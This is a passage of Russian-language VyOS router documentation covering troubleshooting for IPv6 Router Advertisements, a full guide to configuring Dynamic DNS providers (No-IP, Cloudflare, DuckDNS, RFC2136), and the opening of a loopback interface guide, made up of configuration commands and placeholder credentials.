set firewall ipv6 name LAN_LOCAL rule 100 icmpv6 type router-advertisement

# Restart radvd
restart router-advert

commit
save
```

### Проблема: RA отправляются, но клиенты не конфигурируются

**Причина**: Клиент может не поддерживать SLAAC или блокируется firewall на клиенте.

**Диагностика на клиенте** (Linux):

```bash
# Проверка accept_ra
cat /proc/sys/net/ipv6/conf/eth0/accept_ra
# Должно быть: 1 или 2

# Включить accept_ra
sudo sysctl -w net.ipv6.conf.eth0.accept_ra=2

# Сделать постоянным
echo "net.ipv6.conf.eth0.accept_ra = 2" | sudo tee -a /etc/sysctl.conf
```

**Решение**:

```bash
# На роутере - отправить RA вручную
restart router-advert

# На клиенте - обновить конфигурацию
sudo systemctl restart networking
# или
sudo dhclient -6 -r eth0 && sudo dhclient -6 eth0
```

### Проблема: Клиенты получают адреса, но нет DNS

**Причина**: DNS не настроен в RA или клиент не поддерживает RDNSS.

**Решение**:

```bash
# Добавить name-server в RA
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8844

# Или использовать DHCPv6 для DNS
set service router-advert interface eth1 other-config-flag
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN interface eth1

commit
save
```

### Проблема: Множественные роутеры вызывают конфликты

**Причина**: Несколько роутеров отправляют RA с одинаковым приоритетом.

**Решение**:

```bash
# На основном роутере
set service router-advert interface eth1 default-preference high

# На резервном роутере
set service router-advert interface eth1 default-preference low

commit
save
```

### Проблема: DHCPv6 работает, но SLAAC нет

**Причина**: Autonomous flag отключен.

**Решение**:

```bash
# Убедиться что autonomous flag включен (по умолчанию)
delete service router-advert interface eth1 prefix 2001:db8:1::/64 no-autonomous-flag

# Проверить конфигурацию
show configuration service router-advert interface eth1

commit
save
```

### Проблема: Клиенты не видят роутер как default gateway

**Причина**: Router lifetime = 0 или роутер не отправляет RA.

**Решение**:

```bash
# Установить router lifetime
set service router-advert interface eth1 default-lifetime 1800

# Проверить что RA не отключен
delete service router-advert interface eth1 no-send-advert

commit
save
```

### Проблема: NAT64 не работает

**Диагностика**:

```bash
# Проверка NAT64 префикса в RA
show configuration service router-advert interface eth1

# На клиенте
ping 64:ff9b::8.8.8.8  # Должен пинговаться 8.8.8.8
```

**Решение**:

```bash
# Настроить NAT64 префикс
set service router-advert interface eth1 nat64prefix 64:ff9b::/96

# Настроить NAT64 translation (если нужно)
# (Зависит от дополнительной конфигурации NAT64 демона)

commit
save
```

## Лучшие практики

### 1. Выбор правильного режима

```bash
# Enterprise с централизованным управлением
set service router-advert interface eth1 managed-flag

# Простые сети
set service router-advert interface eth1 prefix ::/64
```

### 2. Настройка DNS

Всегда настраивайте DNS:

```bash
# Через RDNSS в RA
set service router-advert interface eth1 name-server 2001:4860:4860::8888

# Или через DHCPv6
set service router-advert interface eth1 other-config-flag
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
```

### 3. Множественные DNS серверы

```bash
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8844
set service router-advert interface eth1 name-server 2001:db8:1::53  # Локальный DNS
```

### 4. Правильные интервалы

```bash
# Стабильная сеть - длинные интервалы
set service router-advert interface eth1 interval max 600

# Динамичная сеть - короткие интервалы
set service router-advert interface eth1 interval max 60
set service router-advert interface eth1 interval min 20
```

### 5. Разумные lifetime

```bash
# Preferred lifetime < Valid lifetime
set service router-advert interface eth1 prefix 2001:db8:1::/64 preferred-lifetime 604800   # 7 дней
set service router-advert interface eth1 prefix 2001:db8:1::/64 valid-lifetime 2592000      # 30 дней
```

### 6. Приоритеты для HA

```bash
# Primary router
set service router-advert interface eth1 default-preference high

# Secondary router
set service router-advert interface eth1 default-preference low
```

### 7. Документирование префиксов

Документируйте назначение каждого префикса:

```bash
# Production LAN
set service router-advert interface eth1 prefix 2001:db8:1::/64

# Management VLAN
set service router-advert interface eth1.10 prefix 2001:db8:10::/64

# Guest WiFi
set service router-advert interface eth1.30 prefix 2001:db8:30::/64
```

### 8. Безопасность

Используйте firewall для защиты от rogue RA:

```bash
# Разрешить RA только от доверенных интерфейсов
set firewall ipv6 name WAN_LOCAL rule 100 action drop
set firewall ipv6 name WAN_LOCAL rule 100 protocol ipv6-icmp
set firewall ipv6 name WAN_LOCAL rule 100 icmpv6 type router-advertisement
```

### 9. MTU Configuration

Настройте MTU если используете туннели:

```bash
# Для GRE/IPsec туннелей
set service router-advert interface eth1 link-mtu 1280

# Для Jumbo frames
set service router-advert interface eth1 link-mtu 9000
```

### 10. Мониторинг

Регулярно проверяйте:

```bash
show ipv6 neighbors
show log | match radvd
```

## Интеграция с другими функциями

### RA + DHCPv6

Гибридный подход (рекомендуется):

```bash
# SLAAC для адресов
set service router-advert interface eth1 prefix 2001:db8:1::/64

# DHCPv6 для параметров
set service router-advert interface eth1 other-config-flag
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 domain-search example.com
set service dhcpv6-server shared-network-name LAN interface eth1
```

### RA + DNS Forwarding

```bash
# RA указывает на локальный DNS
set service router-advert interface eth1 name-server 2001:db8:1::1

# DNS Forwarding на роутере
set service dns forwarding listen-address 2001:db8:1::1
set service dns forwarding name-server 2001:4860:4860::8888
```

### RA + Firewall

```bash
# Разрешить ICMPv6 (включая RA)
set firewall ipv6 name LAN_LOCAL rule 100 action accept
set firewall ipv6 name LAN_LOCAL rule 100 protocol ipv6-icmp

# Блокировать внешние RA (rogue RA protection)
set firewall ipv6 name WAN_LOCAL rule 100 action drop
set firewall ipv6 name WAN_LOCAL rule 100 protocol ipv6-icmp
set firewall ipv6 name WAN_LOCAL rule 100 icmpv6 type router-advertisement
```

### RA + High Availability (VRRP)

```bash
# На обоих роутерах настроить VRRP IPv6
set high-availability vrrp group LAN vrid 10
set high-availability vrrp group LAN interface eth1
set high-availability vrrp group LAN address 2001:db8:1::1/64

# RA на VIP адресе (только на master)
set service router-advert interface eth1 prefix 2001:db8:1::/64
```

## Полезные команды

```bash
# Конфигурация RA
show configuration service router-advert

# IPv6 интерфейсы
show interfaces

# IPv6 routing
show ipv6 route

# IPv6 neighbors
show ipv6 neighbors

# Логи radvd
show log | match radvd
monitor log | match radvd

# Restart RA
restart router-advert

# ICMPv6 статистика
show ipv6 icmpv6 statistics

# Проверка IPv6 connectivity
ping 2001:db8:1::100

# Traceroute IPv6
traceroute6 2001:4860:4860::8888
```

## Заключение

Router Advertisements в VyOS обеспечивают мощную и гибкую платформу для автоконфигурации IPv6 сетей. Поддержка SLAAC, DHCPv6 интеграции, NAT64, RDNSS/DNSSL и множественных интерфейсов делает VyOS идеальным решением для современных IPv6 развертываний.

Основные преимущества RA в VyOS:
- Полная автоматизация IPv6 конфигурации клиентов
- Гибкость режимов (SLAAC, Stateless DHCPv6, Stateful DHCPv6)
- Поддержка современных стандартов (RDNSS, DNSSL, NAT64)
- Работа на множественных типах интерфейсов
- Интеграция с DHCPv6, DNS, Firewall

Рекомендации для production:
- Используйте SLAAC + DHCPv6 (hybrid mode) для баланса простоты и функциональности
- Настраивайте DNS через RDNSS в RA или DHCPv6
- Планируйте префиксы заранее и документируйте их
- Настраивайте приоритеты для HA сценариев
- Защищайте от rogue RA через firewall
- Мониторьте логи radvd регулярно
- Тестируйте с разными клиентами (Linux, Windows, macOS)

Router Advertisements в VyOS обеспечивают enterprise-grade управление IPv6 автоконфигурацией с надежностью и гибкостью, необходимой для production environments.


---

# Dynamic DNS (DDNS) в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-ddns/



Dynamic DNS (DDNS) - это сервис автоматического обновления DNS-записей при изменении IP-адреса. VyOS включает встроенный клиент DDNS, который может обновлять записи у различных провайдеров динамического DNS, что критично для удаленного доступа к устройствам с динамическими IP-адресами.

## Обзор

Dynamic DNS решает проблему доступа к устройствам с изменяющимися IP-адресами:

- **Домашние/малые офисы**: Доступ к сети через динамический IP от провайдера
- **Филиалы**: Удаленный доступ без статических IP-адресов
- **VPN-подключения**: Стабильные endpoint'ы для VPN туннелей
- **Удаленное управление**: Постоянное DNS-имя для SSH/HTTPS доступа
- **Self-hosted сервисы**: Доступ к веб-серверам, камерам, NAS на домашнем IP

### Как работает DDNS

1. VyOS мониторит IP-адрес на указанном интерфейсе
2. При изменении IP обнаруживается изменение
3. VyOS отправляет обновление DDNS-провайдеру через API/протокол
4. Провайдер обновляет DNS-запись
5. DNS-имя теперь указывает на новый IP-адрес

### Поддерживаемые протоколы

VyOS поддерживает множество DDNS-провайдеров и протоколов:

- **Standard protocols**: DynDNS2, Cloudflare, Namecheap, No-IP, Google Domains
- **Custom protocols**: RFC2136 (DNS UPDATE), custom HTTP/HTTPS APIs
- **Multiple providers**: Одновременно несколько провайдеров и записей

## Базовая конфигурация

### DynDNS2 протокол (No-IP, DynDNS)

```bash
# Конфигурация DDNS для No-IP
set service dns dynamic name noip service noip
set service dns dynamic name noip host-name myrouter.ddns.net
set service dns dynamic name noip username myusername
set service dns dynamic name noip password mypassword
set service dns dynamic name noip interface eth0

commit
save
```

### Cloudflare DDNS

```bash
# Cloudflare использует email + API key
set service dns dynamic name cloudflare service cloudflare
set service dns dynamic name cloudflare host-name myrouter.example.com
set service dns dynamic name cloudflare username email@example.com
set service dns dynamic name cloudflare password cloudflare-api-key
set service dns dynamic name cloudflare zone example.com
set service dns dynamic name cloudflare interface eth0

commit
save
```

### Google Domains DDNS

```bash
# Google Domains DDNS
set service dns dynamic name google service googledomains
set service dns dynamic name google host-name myrouter.example.com
set service dns dynamic name google username generated-username
set service dns dynamic name google password generated-password
set service dns dynamic name google interface eth0

commit
save
```

### Namecheap DDNS

```bash
# Namecheap DDNS
set service dns dynamic name namecheap service namecheap
set service dns dynamic name namecheap host-name myrouter
set service dns dynamic name namecheap username example.com
set service dns dynamic name namecheap password ddns-password
set service dns dynamic name namecheap interface eth0

commit
save
```

## Расширенная конфигурация

### RFC2136 (DNS UPDATE)

RFC2136 позволяет напрямую обновлять DNS-записи на сервере, поддерживающем динамические обновления (например, BIND).

```bash
# Настройка RFC2136
set service dns dynamic name rfc2136 service rfc2136
set service dns dynamic name rfc2136 server ns1.example.com
set service dns dynamic name rfc2136 zone example.com
set service dns dynamic name rfc2136 host-name router.example.com
set service dns dynamic name rfc2136 key /config/auth/ddns-key.txt
set service dns dynamic name rfc2136 ttl 60
set service dns dynamic name rfc2136 interface eth0

commit
save
```

Файл ключа `/config/auth/ddns-key.txt` (TSIG key):

```
key "ddns-key" {
    algorithm hmac-sha256;
    secret "base64-encoded-secret-here==";
};
```

### Множественные DDNS записи

```bash
# Первый провайдер (No-IP для основного доступа)
set service dns dynamic name primary service noip
set service dns dynamic name primary host-name myrouter.ddns.net
set service dns dynamic name primary username user1
set service dns dynamic name primary password pass1
set service dns dynamic name primary interface eth0

# Второй провайдер (DuckDNS для резерва)
set service dns dynamic name backup service duckdns
set service dns dynamic name backup host-name myrouter.duckdns.org
set service dns dynamic name backup password duckdns-token
set service dns dynamic name backup interface eth0

# Третий провайдер (Cloudflare для корпоративного домена)
set service dns dynamic name corporate service cloudflare
set service dns dynamic name corporate host-name vpn.company.com
set service dns dynamic name corporate username admin@company.com
set service dns dynamic name corporate password cloudflare-api-key
set service dns dynamic name corporate zone company.com
set service dns dynamic name corporate interface eth0

commit
save
```

### Мониторинг через web-интерфейс провайдера

```bash
# Конфигурация с IP-check URL (для определения внешнего IP)
set service dns dynamic name myservice service custom
set service dns dynamic name myservice host-name myhost.example.com
set service dns dynamic name myservice username myuser
set service dns dynamic name myservice password mypass
set service dns dynamic name myservice interface eth0
set service dns dynamic name myservice protocol dyndns2
set service dns dynamic name myservice server updates.example.com

commit
save
```

### Использование web-запроса для получения IP

Если роутер за NAT и нужно определить внешний IP:

```bash
# Настройка DDNS с web-методом определения IP
set service dns dynamic name myservice service noip
set service dns dynamic name myservice host-name myrouter.ddns.net
set service dns dynamic name myservice username myuser
set service dns dynamic name myservice password mypass
set service dns dynamic name myservice interface eth0
set service dns dynamic name myservice ip-check web
set service dns dynamic name myservice web-url https://api.ipify.org

commit
save
```

### Интервал обновления

```bash
# Установить интервал проверки (в секундах, по умолчанию 300)
set service dns dynamic name myservice service noip
set service dns dynamic name myservice host-name myrouter.ddns.net
set service dns dynamic name myservice username myuser
set service dns dynamic name myservice password mypass
set service dns dynamic name myservice interface eth0
set service dns dynamic name myservice timeout 600  # Проверка каждые 10 минут

commit
save
```

### IPv6 DDNS

```bash
# DDNS для IPv6 адреса
set service dns dynamic name ipv6ddns service cloudflare
set service dns dynamic name ipv6ddns host-name myrouter-v6.example.com
set service dns dynamic name ipv6ddns username email@example.com
set service dns dynamic name ipv6ddns password cloudflare-api-key
set service dns dynamic name ipv6ddns zone example.com
set service dns dynamic name ipv6ddns interface eth0
set service dns dynamic name ipv6ddns ip-version ipv6

commit
save
```

## Примеры конфигураций

### Пример 1: Домашний роутер с No-IP

```bash
# Простая конфигурация для домашнего доступа
set service dns dynamic name home service noip
set service dns dynamic name home host-name myhome.ddns.net
set service dns dynamic name home username homeuser
set service dns dynamic name home password HomePass123!
set service dns dynamic name home interface eth0

commit
save
```

Проверка:

```bash
show dns dynamic status
```

### Пример 2: VPN endpoint с Cloudflare

```bash
# DDNS для VPN endpoint на корпоративном домене
set service dns dynamic name vpn-endpoint service cloudflare
set service dns dynamic name vpn-endpoint host-name vpn.company.com
set service dns dynamic name vpn-endpoint username admin@company.com
set service dns dynamic name vpn-endpoint password cf_api_key_here
set service dns dynamic name vpn-endpoint zone company.com
set service dns dynamic name vpn-endpoint interface eth0

# WireGuard VPN endpoint использует этот DNS
set interfaces wireguard wg0 address 10.10.0.1/24
set interfaces wireguard wg0 listen-port 51820
set interfaces wireguard wg0 peer client1 allowed-ips 10.10.0.2/32
set interfaces wireguard wg0 peer client1 public-key 'peer-public-key-here'

commit
save
```

Клиент WireGuard конфигурация:

```ini
[Interface]
PrivateKey = client-private-key
Address = 10.10.0.2/24

[Peer]
PublicKey = server-public-key
Endpoint = vpn.company.com:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 25
```

### Пример 3: Множественные филиалы

```bash
# Головной офис
set service dns dynamic name hq service cloudflare
set service dns dynamic name hq host-name hq-router.company.com
set service dns dynamic name hq username admin@company.com
set service dns dynamic name hq password cloudflare-key
set service dns dynamic name hq zone company.com
set service dns dynamic name hq interface eth0

# Резервная запись на бесплатном сервисе
set service dns dynamic name hq-backup service duckdns
set service dns dynamic name hq-backup host-name company-hq.duckdns.org
set service dns dynamic name hq-backup password duckdns-token
set service dns dynamic name hq-backup interface eth0

commit
save
```

### Пример 4: Self-hosted сервисы (web, mail)

```bash
# DDNS для веб-сервера
set service dns dynamic name webserver service cloudflare
set service dns dynamic name webserver host-name www.example.com
set service dns dynamic name webserver username admin@example.com
set service dns dynamic name webserver password cloudflare-api-key
set service dns dynamic name webserver zone example.com
set service dns dynamic name webserver interface eth0

# Port forwarding для веб-сервера
set nat destination rule 100 description 'Port forward HTTP'
set nat destination rule 100 inbound-interface name eth0
set nat destination rule 100 destination port 80
set nat destination rule 100 protocol tcp
set nat destination rule 100 translation address 192.168.1.10

set nat destination rule 110 description 'Port forward HTTPS'
set nat destination rule 110 inbound-interface name eth0
set nat destination rule 110 destination port 443
set nat destination rule 110 protocol tcp
set nat destination rule 110 translation address 192.168.1.10

commit
save
```

### Пример 5: RFC2136 с собственным DNS-сервером

```bash
# BIND DNS сервер с поддержкой динамических обновлений
set service dns dynamic name internal service rfc2136
set service dns dynamic name internal server 192.168.1.53
set service dns dynamic name internal zone internal.company.com
set service dns dynamic name internal host-name router.internal.company.com
set service dns dynamic name internal key /config/auth/ddns-update-key.txt
set service dns dynamic name internal ttl 300
set service dns dynamic name internal interface eth1

commit
save
```

На BIND сервере (`/etc/bind/named.conf.local`):

```
key "ddns-key" {
    algorithm hmac-sha256;
    secret "your-base64-secret==";
};

zone "internal.company.com" {
    type master;
    file "/var/lib/bind/db.internal.company.com";
    allow-update { key ddns-key; };
};
```

### Пример 6: Dual-stack (IPv4 + IPv6)

```bash
# IPv4 DDNS
set service dns dynamic name dual-v4 service cloudflare
set service dns dynamic name dual-v4 host-name router.example.com
set service dns dynamic name dual-v4 username admin@example.com
set service dns dynamic name dual-v4 password cloudflare-key
set service dns dynamic name dual-v4 zone example.com
set service dns dynamic name dual-v4 interface eth0
set service dns dynamic name dual-v4 ip-version ipv4

# IPv6 DDNS (AAAA запись)
set service dns dynamic name dual-v6 service cloudflare
set service dns dynamic name dual-v6 host-name router.example.com
set service dns dynamic name dual-v6 username admin@example.com
set service dns dynamic name dual-v6 password cloudflare-key
set service dns dynamic name dual-v6 zone example.com
set service dns dynamic name dual-v6 interface eth0
set service dns dynamic name dual-v6 ip-version ipv6

commit
save
```

## Мониторинг и диагностика

### Просмотр статуса DDNS

```bash
# Показать статус всех DDNS сервисов
show dns dynamic status

# Вывод включает:
# - Имя сервиса
# - Hostname
# - Текущий IP
# - Последнее обновление
# - Статус (good, nochange, error)
```

Пример вывода:

```
service: cloudflare
hostname: myrouter.example.com
address: 203.0.113.45
status: good
last update: Mon Jan 15 10:30:45 2024
```

### Принудительное обновление

```bash
# Принудительно обновить конкретный сервис
update dns dynamic interface eth0

# Это заставит VyOS сразу отправить обновление всем настроенным провайдерам
```

### Просмотр логов DDNS

```bash
# Логи DDNS в syslog
show log | match ddclient

# Последние 50 записей
show log tail 50 | match ddclient

# Real-time мониторинг
monitor log | match ddclient
```

### Проверка текущего IP

```bash
# Текущий IP на интерфейсе
show interfaces ethernet eth0 | grep "inet "

# Внешний IP (если за NAT)
curl ifconfig.me
curl api.ipify.org
```

### Проверка DNS резолва

```bash
# Проверить, что DNS запись обновилась
nslookup myrouter.ddns.net

# Или с использованием dig
dig myrouter.ddns.net +short

# Проверка через конкретный DNS-сервер
dig @8.8.8.8 myrouter.ddns.net
```

### Отладка проблем

```bash
# Проверка конфигурации
show configuration service dns dynamic

# Детальные логи (включить debug)
set system syslog file ddns.log facility daemon level debug
commit

# Просмотр логов
tail -f /var/log/ddns.log

# Отключить debug после отладки
delete system syslog file ddns.log facility daemon level debug
commit
```

### Мониторинг через скрипт

```bash
#!/bin/bash
# /config/scripts/monitor-ddns.sh

HOSTNAME="myrouter.ddns.net"
EXPECTED_IP=$(curl -s ifconfig.me)
RESOLVED_IP=$(dig +short $HOSTNAME | head -n1)

if [ "$EXPECTED_IP" != "$RESOLVED_IP" ]; then
    echo "DDNS mismatch: Expected $EXPECTED_IP, Got $RESOLVED_IP"
    logger -t ddns-monitor "DDNS mismatch detected"
    # Отправка алерта
    echo "DDNS issue on $(hostname)" | mail -s "DDNS Alert" admin@example.com
else
    logger -t ddns-monitor "DDNS check OK: $RESOLVED_IP"
fi
```

Добавить в Task Scheduler:

```bash
set system task-scheduler task ddns-monitor interval '*/15 * * * *'
set system task-scheduler task ddns-monitor executable path '/config/scripts/monitor-ddns.sh'
commit
save
```

## Устранение неполадок

### Проблема: DDNS не обновляется

**Диагностика**:

```bash
# 1. Проверка конфигурации
show configuration service dns dynamic

# 2. Проверка статуса
show dns dynamic status

# 3. Проверка логов
show log | match ddclient

# 4. Проверка интерфейса
show interfaces ethernet eth0

# 5. Проверка связности с провайдером
ping updates.no-ip.com
```

**Решение**:

```bash
# Проверить credentials
set service dns dynamic name myservice username correct-username
set service dns dynamic name myservice password correct-password

# Принудительное обновление
update dns dynamic interface eth0

# Перезапуск сервиса (если необходимо)
sudo systemctl restart ddclient

commit
save
```

### Проблема: IP определяется неправильно (за NAT)

**Причина**: VyOS использует IP интерфейса вместо внешнего IP.

**Решение**:

```bash
# Использовать web-метод для определения IP
set service dns dynamic name myservice ip-check web
set service dns dynamic name myservice web-url https://api.ipify.org

commit
save
```

Альтернативные URL для определения IP:
- `https://api.ipify.org`
- `https://ifconfig.me/ip`
- `https://icanhazip.com`
- `https://checkip.amazonaws.com`

### Проблема: Слишком частые обновления

**Причина**: Провайдер может блокировать за abuse (слишком частые запросы).

**Решение**:

```bash
# Увеличить интервал проверки
set service dns dynamic name myservice timeout 3600  # 1 час

commit
save
```

### Проблема: Аутентификация не проходит

**Диагностика**:

```bash
# Проверка логов
show log | match "authentication failed"
show log | match ddclient
```

**Решение**:

```bash
# Проверить правильность учетных данных в web-интерфейсе провайдера

# Пересоздать конфигурацию с правильными credentials
delete service dns dynamic name myservice
set service dns dynamic name myservice service noip
set service dns dynamic name myservice host-name myrouter.ddns.net
set service dns dynamic name myservice username correct-username
set service dns dynamic name myservice password correct-password
set service dns dynamic name myservice interface eth0

commit
save

# Принудительное обновление
update dns dynamic interface eth0
```

### Проблема: Hostname не обновляется на Cloudflare

**Причина**: Cloudflare требует указания zone.

**Решение**:

```bash
# Убедиться, что zone указана
set service dns dynamic name cloudflare zone example.com

# Убедиться, что используется правильный API key (не API token)
# Для Cloudflare нужен Global API Key, не Scoped API Token

commit
save
```

### Проблема: RFC2136 обновления не работают

**Диагностика**:

```bash
# Проверка доступности DNS сервера
ping 192.168.1.53

# Проверка порта 53 UDP
nc -vu 192.168.1.53 53

# Проверка ключа
cat /config/auth/ddns-key.txt
```

**Решение**:

```bash
# Убедиться, что ключ правильно сконфигурирован на обеих сторонах

# На VyOS - файл ключа должен содержать:
# key "ddns-key" {
#     algorithm hmac-sha256;
#     secret "base64-secret==";
# };

# На BIND - зона должна разрешать обновления:
# allow-update { key ddns-key; };

# Тестирование обновления вручную с клиента
nsupdate -k /config/auth/ddns-key.txt
> server 192.168.1.53
> zone example.com
> update add test.example.com 300 A 192.168.1.100
> send
> quit
```

## Популярные DDNS провайдеры

### Бесплатные сервисы

| Провайдер | Протокол | Особенности |
|-----------|----------|-------------|
| No-IP | noip | 3 hostname бесплатно, требует подтверждения раз в 30 дней |
| DuckDNS | duckdns | Бесплатно, без ограничений, простой |
| FreeDNS | freedns | Множество доменов, бесплатно |
| Dynu | dynu | 4 hostname бесплатно |

### Платные/Freemium сервисы

| Провайдер | Протокол | Особенности |
|-----------|----------|-------------|
| Cloudflare | cloudflare | Бесплатный план + DNS management |
| Google Domains | googledomains | Требует домен в Google Domains |
| Namecheap | namecheap | DDNS для доменов Namecheap |
| DynDNS | dyndns2 | Платный сервис, надежный |

### Конфигурация для популярных провайдеров

**DuckDNS**:

```bash
set service dns dynamic name duckdns service duckdns
set service dns dynamic name duckdns host-name mysubdomain.duckdns.org
set service dns dynamic name duckdns password token-from-duckdns
set service dns dynamic name duckdns interface eth0
```

**FreeDNS**:

```bash
set service dns dynamic name freedns service freedns
set service dns dynamic name freedns host-name myhost.freeddns.org
set service dns dynamic name freedns password update-token
set service dns dynamic name freedns interface eth0
```

**Dynu**:

```bash
set service dns dynamic name dynu service dynu
set service dns dynamic name dynu host-name myhost.dynu.net
set service dns dynamic name dynu username dynu-username
set service dns dynamic name dynu password dynu-password
set service dns dynamic name dynu interface eth0
```

## Лучшие практики

### 1. Использование надежных провайдеров

Выбирайте проверенных провайдеров с хорошим SLA:

```bash
# Для production - Cloudflare или Google Domains
set service dns dynamic name primary service cloudflare

# Для home/lab - DuckDNS или No-IP
set service dns dynamic name home service duckdns
```

### 2. Резервирование DDNS

Настройте множественные провайдеры для резервирования:

```bash
# Основной
set service dns dynamic name primary service cloudflare
set service dns dynamic name primary host-name router.example.com

# Резерв
set service dns dynamic name backup service duckdns
set service dns dynamic name backup host-name router-backup.duckdns.org
```

### 3. Безопасное хранение паролей

Не используйте простые пароли:

```bash
# Плохо
set service dns dynamic name myservice password 123456

# Хорошо - используйте сложные токены/ключи
set service dns dynamic name myservice password 'aB3$kL9@mN5&pQ2#'
```

### 4. Мониторинг DDNS

Настройте мониторинг для критичных hostname:

```bash
# Task Scheduler для проверки
set system task-scheduler task ddns-check interval '*/15 * * * *'
set system task-scheduler task ddns-check executable path '/config/scripts/check-ddns.sh'
```

### 5. Логирование

Включите логирование DDNS для аудита:

```bash
set system syslog file ddns.log facility daemon level info
```

### 6. Правильный интервал обновления

Не устанавливайте слишком частые обновления:

```bash
# Рекомендуется 5-15 минут для динамических IP
set service dns dynamic name myservice timeout 600  # 10 минут
```

### 7. TTL для DNS записей

Используйте низкий TTL для DDNS записей:

```bash
# Для RFC2136
set service dns dynamic name internal ttl 60  # 1 минута
```

### 8. Документирование

Документируйте используемые DDNS hostname:

```bash
# Используйте описательные имена в конфигурации
set service dns dynamic name vpn-endpoint ...
set service dns dynamic name web-server ...
set service dns dynamic name remote-access ...
```

### 9. Тестирование после настройки

Всегда тестируйте DDNS после настройки:

```bash
# Принудительное обновление
update dns dynamic interface eth0

# Проверка статуса
show dns dynamic status

# Проверка DNS
dig myrouter.ddns.net +short
```

### 10. Автоматизация для множественных устройств

Используйте Ansible для управления DDNS на множестве роутеров:

```yaml
- name: Configure DDNS
  vyos.vyos.vyos_config:
    lines:
      - set service dns dynamic name {{ ddns_name }} service {{ ddns_provider }}
      - set service dns dynamic name {{ ddns_name }} host-name {{ ddns_hostname }}
      - set service dns dynamic name {{ ddns_name }} username {{ ddns_username }}
      - set service dns dynamic name {{ ddns_name }} password {{ ddns_password }}
      - set service dns dynamic name {{ ddns_name }} interface {{ ddns_interface }}
```

## Полезные команды

```bash
# Показать статус DDNS
show dns dynamic status

# Принудительное обновление
update dns dynamic interface eth0

# Конфигурация DDNS
show configuration service dns dynamic

# Логи DDNS
show log | match ddclient
show log tail 50 | match ddclient

# Real-time мониторинг логов
monitor log | match ddclient

# Проверка DNS резолва
nslookup myrouter.ddns.net
dig myrouter.ddns.net +short

# Проверка внешнего IP
curl ifconfig.me
curl api.ipify.org

# Перезапуск DDNS клиента (если нужно)
sudo systemctl restart ddclient

# Статус сервиса
sudo systemctl status ddclient

# Просмотр конфигурации ddclient
sudo cat /etc/ddclient/ddclient.conf
```

## Интеграция с другими функциями

### DDNS + VPN

```bash
# DDNS для WireGuard endpoint
set service dns dynamic name wg-endpoint service cloudflare
set service dns dynamic name wg-endpoint host-name wg.example.com
set service dns dynamic name wg-endpoint username admin@example.com
set service dns dynamic name wg-endpoint password cloudflare-key
set service dns dynamic name wg-endpoint zone example.com
set service dns dynamic name wg-endpoint interface eth0

# WireGuard конфигурация
set interfaces wireguard wg0 address 10.10.0.1/24
set interfaces wireguard wg0 listen-port 51820
```

Клиенты используют `wg.example.com:51820` как endpoint.

### DDNS + Port Forwarding

```bash
# DDNS для self-hosted сервисов
set service dns dynamic name web service cloudflare
set service dns dynamic name web host-name web.example.com

# NAT для HTTP/HTTPS
set nat destination rule 100 inbound-interface name eth0
set nat destination rule 100 destination port 80
set nat destination rule 100 protocol tcp
set nat destination rule 100 translation address 192.168.1.10

set nat destination rule 110 inbound-interface name eth0
set nat destination rule 110 destination port 443
set nat destination rule 110 protocol tcp
set nat destination rule 110 translation address 192.168.1.10
```

### DDNS + Let's Encrypt

```bash
# DDNS обновляет DNS для Let's Encrypt DNS-01 challenge
set service dns dynamic name acme service cloudflare
set service dns dynamic name acme host-name router.example.com

# Let's Encrypt может проверять владение доменом через DNS
```

## Заключение

Dynamic DNS в VyOS - это надежное решение для поддержания доступности устройств с динамическими IP-адресами. Встроенный DDNS-клиент поддерживает все основные провайдеры и протоколы, обеспечивая гибкость и надежность.

Основные преимущества DDNS в VyOS:
- Поддержка множественных провайдеров одновременно
- Автоматическое обновление при изменении IP
- Интеграция с VPN, web-сервисами, удаленным доступом
- RFC2136 для интеграции с собственными DNS-серверами
- Dual-stack поддержка (IPv4 + IPv6)

Рекомендации для production:
- Используйте надежных провайдеров (Cloudflare, Google Domains)
- Настройте резервные DDNS записи
- Мониторьте статус DDNS обновлений
- Используйте правильный интервал обновления (5-15 минут)
- Документируйте все DDNS hostname
- Тестируйте после каждого изменения конфигурации

Dynamic DNS в VyOS обеспечивает стабильный удаленный доступ к сетевой инфраструктуре без необходимости статических IP-адресов, что критично для малых офисов, филиалов и домашних сетей.


---

# Loopback интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-loopback/



Loopback интерфейс - это виртуальный интерфейс, который всегда находится в состоянии UP и используется для различных сетевых задач, требующих стабильного IP адреса независимо от состояния физических интерфейсов.

## Обзор

### Что такое Loopback

Loopback интерфейс (`lo`) - это виртуальный сетевой интерфейс, который:
- Всегда в состоянии UP (не зависит от физических интерфейсов)
- Не передает пакеты на физическую сеть
- Используется для идентификации роутера
- Обеспечивает стабильную точку подключения для сервисов

**Традиционный loopback (127.0.0.1)** - это системный loopback для localhost.

**Дополнительные loopback интерфейсы** - создаются администратором для специфических задач.

### Преимущества Loopback

1. **Стабильность** - всегда доступен, не зависит от состояния физических интерфейсов
2. **Идентификация роутера** - уникальный IP для Router ID в протоколах маршрутизации
3. **Management** - стабильный адрес для управления
4. **Anycast** - использование одного IP на множестве роутеров
5. **Источник трафика** - стабильный source IP для исходящих соединений

### Типичные применения

- **Router ID** для OSPF, BGP, MPLS
- **Management** адрес для SSH, SNMP
- **VPN endpoints** - стабильный endpoint для туннелей
- **Service binding** - привязка сервисов к loopback
- **Anycast addressing** - один IP на множестве серверов
- **Testing** - тестирование сетевых конфигураций

## Базовая конфигурация

### Создание Loopback интерфейса

```bash
# Создать loopback с IPv4
set interfaces loopback lo address 10.255.255.1/32

# Описание
set interfaces loopback lo description 'Router ID and Management'

commit
save
```

**Примечание**:
- `/32` маска означает single host (не сеть)
- Loopback обычно использует `/32` для IPv4 и `/128` для IPv6

### Множественные IP на Loopback

```bash
# Основной IP
set interfaces loopback lo address 10.255.255.1/32

# Дополнительные IP
set interfaces loopback lo address 10.255.255.2/32
